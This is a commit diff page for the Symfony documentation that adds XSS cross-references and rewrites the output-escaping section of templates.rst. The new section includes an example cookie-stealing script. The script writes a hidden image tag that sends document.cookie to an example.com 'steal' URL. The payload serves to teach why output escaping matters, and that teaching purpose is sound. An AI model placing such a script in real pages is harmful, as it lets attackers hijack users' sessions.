Skip to content

Commit 4320922

Browse files
committed
Merge branch '6.4' into 7.0
* 6.4: Update more references to XSS attacks [Security] Update login_link.rst Add a better example of the dangers of XSS attacks
2 parents b72ac0e + 7169759 commit 4320922

File tree

7 files changed

+25
-15
lines changed

7 files changed

+25
-15
lines changed

html_sanitizer.rst

+2-2
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,8 @@ that the returned HTML is very predictable (it only contains allowed
1111
elements), but it does not work well with badly formatted input (e.g.
1212
invalid HTML). The sanitizer is targeted for two use cases:
1313

14-
* Preventing security attacks based on XSS or other technologies relying on
15-
execution of malicious code on the visitors browsers;
14+
* Preventing security attacks based on :ref:`XSS <xss-attacks>` or other technologies
15+
relying on the execution of malicious code on the visitors browsers;
1616
* Generating HTML that always respects a certain format (only certain
1717
tags, attributes, hosts, etc.) to be able to consistently style the
1818
resulting output with CSS. This also protects your application against

reference/configuration/framework.rst

+1-1
Original file line numberDiff line numberDiff line change
@@ -1786,7 +1786,7 @@ cookie_httponly
17861786
This determines whether cookies should only be accessible through the HTTP
17871787
protocol. This means that the cookie won't be accessible by scripting
17881788
languages, such as JavaScript. This setting can effectively help to reduce
1789-
identity theft through XSS attacks.
1789+
identity theft through :ref:`XSS attacks <xss-attacks>`.
17901790

17911791
gc_divisor
17921792
..........

reference/configuration/twig.rst

+2-2
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,8 @@ autoescape_service
3838

3939
**type**: ``string`` **default**: ``null``
4040

41-
The escaping strategy applied by default to the template is determined during
42-
compilation time based on the filename of the template. This means for example
41+
The escaping strategy applied by default to the template (to prevent :ref:`XSS attacks <xss-attacks>`)
42+
is determined during compilation time based on the filename of the template. This means for example
4343
that the contents of a ``*.html.twig`` template are escaped for HTML and the
4444
contents of ``*.js.twig`` are escaped for JavaScript.
4545

reference/forms/types/options/sanitize_html.rst.inc

+1-1
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ sanitize_html
55

66
When ``true``, the text input will be sanitized using the
77
:doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
8-
submitted. This protects the form input against XSS, clickjacking and CSS
8+
submitted. This protects the form input against :ref:`XSS <xss-attacks>`, clickjacking and CSS
99
injection.
1010

1111
.. note::

reference/forms/types/textarea.rst

+1-1
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ Renders a ``textarea`` HTML element.
2222
.. caution::
2323

2424
When allowing users to type HTML code in the textarea (or using a
25-
WYSIWYG) editor, the application is vulnerable to XSS injection,
25+
WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
2626
clickjacking or CSS injection. Use the `sanitize_html`_ option to
2727
protect against these types of attacks.
2828

security/login_link.rst

+2
Original file line numberDiff line numberDiff line change
@@ -279,6 +279,8 @@ This will send an email like this to the user:
279279
// src/Notifier/CustomLoginLinkNotification
280280
namespace App\Notifier;
281281

282+
use Symfony\Component\Notifier\Message\EmailMessage;
283+
use Symfony\Component\Notifier\Recipient\EmailRecipientInterface;
282284
use Symfony\Component\Security\Http\LoginLink\LoginLinkNotification;
283285

284286
class CustomLoginLinkNotification extends LoginLinkNotification

templates.rst

+16-8
Original file line numberDiff line numberDiff line change
@@ -1278,17 +1278,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
12781278
Read the `Twig template inheritance`_ docs to learn more about how to reuse
12791279
parent block contents when overriding templates and other advanced features.
12801280

1281-
Output Escaping
1282-
---------------
1281+
.. _output-escaping:
1282+
.. _xss-attacks:
1283+
1284+
Output Escaping and XSS Attacks
1285+
-------------------------------
12831286

12841287
Imagine that your template includes the ``Hello {{ name }}`` code to display the
1285-
user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
1286-
their name and you output that value unchanged, the application will display a
1287-
JavaScript popup window.
1288+
user name and a malicious user sets the following as their name:
1289+
1290+
.. code-block:: html
1291+
1292+
My Name
1293+
<script type="text/javascript">
1294+
document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
1295+
</script>
12881296

1289-
This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
1290-
example seems harmless, the attacker could write more advanced JavaScript code
1291-
to perform malicious actions.
1297+
You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
1298+
so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_
1299+
or XSS attack.
12921300

12931301
To prevent this attack, use *"output escaping"* to transform the characters
12941302
which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).

0 commit comments

Comments
 (0)